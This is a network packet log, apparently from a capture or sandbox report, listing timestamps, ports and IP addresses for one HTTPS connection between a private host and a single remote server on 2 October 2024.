Oct 2, 2024 05:22:10.931849957 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.932842970 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.932948112 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.932976961 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.932984114 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.933018923 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.933111906 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.933911085 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.933928013 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.934004068 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.934011936 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.934067011 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.943741083 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.943758965 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.943864107 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.943872929 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.943942070 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.969672918 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.969701052 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.969916105 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:10.969924927 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:10.969975948 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.001698971 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.001715899 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.001924038 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.001933098 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.001979113 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.022574902 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.022593975 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.022695065 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.022716045 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.022762060 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.026791096 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.026818037 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.026855946 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.026864052 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.026887894 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.026906967 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.027477980 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.027501106 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.027554989 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.027563095 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.027602911 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.028422117 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.028436899 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.028496981 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.028506041 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.028572083 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.032078028 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.032094955 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.032165051 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.032174110 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.032206059 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.039772987 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.039791107 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.039913893 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.039922953 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.039992094 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.064593077 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.064620972 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.064757109 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.064757109 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.064769030 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.064831018 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.097718000 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.097745895 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.097896099 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.097907066 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.097954035 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.114131927 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.114161015 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.114232063 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.114242077 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.114284992 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.117903948 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.117929935 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.118004084 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.118016005 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.118057966 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.118701935 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.118722916 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.118777990 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.118784904 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.118820906 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.119554996 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.119570971 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.119620085 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.119627953 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.119661093 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.119967937 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.119992018 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.120028973 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.120035887 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.120059013 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.120079041 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.131059885 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.131081104 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.131170988 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.131191015 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.131233931 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.157377958 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.157402992 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.162971020 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.162986994 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.163062096 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.190155983 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.190180063 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.190324068 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.190337896 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.190382957 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.208786011 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.208811045 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.208894968 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.208906889 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.208945036 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.210491896 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.210508108 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.210572004 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.210578918 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.210614920 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.211236954 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.211252928 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.211311102 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.211317062 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.211354971 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.212095022 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.212115049 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.212171078 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.212177992 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.212213039 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.213135958 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.213151932 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.213197947 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.213212967 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.213246107 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.223601103 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.223620892 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.223692894 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.223701000 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.223737001 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.249959946 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.249984026 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.250057936 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.250066996 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.250102997 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.287869930 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.287900925 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.288047075 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.288059950 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.288101912 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.301661015 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.301677942 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.301758051 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.301770926 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.301805973 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.303136110 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.303152084 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.303201914 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.303216934 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.303255081 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.304193974 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.304210901 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.304250002 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.304256916 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.304284096 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.304301977 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.304898024 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.304927111 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.304964066 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.304972887 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.304994106 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.305006981 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.305778980 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.305799007 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.305847883 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.305855989 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.305887938 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.316289902 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.316306114 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.316365004 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.316375017 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.316462994 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.342541933 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.342585087 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.342767000 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.342782974 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.342830896 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.380424023 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.380461931 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.380561113 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.380569935 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.380625963 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.394237041 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.394253016 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.394334078 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.394341946 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.394382000 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.395909071 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.395926952 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.395991087 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.395998955 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.396040916 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.396929979 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.396946907 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.397052050 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.397058964 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.397099972 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.397681952 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.397705078 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.397758007 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.397766113 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.397806883 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.398524046 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.398544073 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.398605108 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.398619890 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.398657084 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.408852100 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.408869982 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.408936977 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.408946037 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.408993006 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.435734034 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.435755014 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.435887098 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.435913086 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.435957909 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.473248005 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.473278999 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.473400116 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.473419905 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.473462105 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.487056017 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.487073898 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.487143993 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.487152100 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.487220049 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.488714933 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.488730907 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.488792896 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.488806009 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.488848925 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.489804983 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.489826918 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.489886999 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.489897013 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.489937067 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.490309000 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.490324020 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.490377903 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.490386009 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.490431070 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.491209030 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.491223097 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.491280079 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.491286993 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.491326094 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.501645088 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.501662016 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.501739979 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.501754045 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.501786947 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.525530100 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.525547028 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.525719881 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.525731087 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.525779963 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.563826084 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.563844919 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.563971043 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.563987017 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.564027071 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.576627970 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.576652050 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.576755047 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.576766014 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.576807976 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.578686953 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.578705072 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.578768969 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.578777075 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.578816891 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.579246998 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.579267979 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.579327106 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.579334021 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.579371929 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.583012104 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.583029032 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.583098888 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.583106995 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.583161116 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.583976030 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.584013939 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.584067106 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.584074974 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.584116936 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.595259905 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.595278025 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.595354080 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.595364094 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.595402956 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.621417999 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.621436119 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.621586084 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.621596098 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.621697903 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.655709982 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.655735016 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.655862093 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.655869961 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.655915976 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.670331001 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.670392036 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.670605898 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.670635939 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.670717001 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.671298981 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.671343088 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.671402931 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.671411037 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.671457052 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.672151089 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.672168016 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.672225952 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.672234058 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.672267914 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.672877073 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.672894001 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.672945976 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.672954082 CEST	443	49704	207.241.227.240	192.168.2.8
Oct 2, 2024 05:22:11.672991037 CEST	49704	443	192.168.2.8	207.241.227.240
Oct 2, 2024 05:22:11.673784971 CEST	443	49704	207.241.227.240	192.168.2.8
